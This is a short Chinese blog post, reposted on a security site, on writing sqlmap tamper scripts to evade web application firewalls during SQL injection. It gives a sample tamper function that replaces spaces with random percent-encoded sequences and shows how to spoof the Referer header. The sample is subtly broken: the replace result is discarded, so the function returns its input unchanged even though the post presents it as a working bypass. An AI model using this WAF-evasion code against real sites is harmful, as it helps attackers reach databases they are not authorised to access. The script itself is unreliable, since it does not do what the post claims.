SQLMap Tamper 编写

admin 2023年12月15日00:57:14评论10 views字数 747阅读2分29秒阅读模式

sqlmap 是一个开源的渗透测试工具, 可以用来自动化的检测, 利用 SQL 注入漏洞, 获取数据库服务器的权限.

在 sqlmap 的 tamper 中, 需要实现的地方有 3 处.

__priority__ - 脚本优先级
dependencies - 适用/不适用的范围
tamper - 用于 bypass waf

dependencies 一般不用设置, priority 默认为 PRIORITY.LOW 即可

bypass

拿之前遇到的 waf 举个例子

import random
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
    fuzz = ('0','1','2','3','4','5','6','7','8','9')
    for _ in range(len(payload.split(' '))-1):
        string = r'%' + random.choice(fuzz) + random.choice(fuzz)
        payload.replace(' ',string,1)
    return payload

Other

kwargs 更改 header

headers = kwargs.get('headers', {})
headers['Referer'] = 'http://www.baidu.com/'

- By:X1r0z[exp10it.cn]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日00:57:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQLMap Tamper 编写http://cn-sec.com/archives/2301417.html

发表评论

匿名网友 填写信息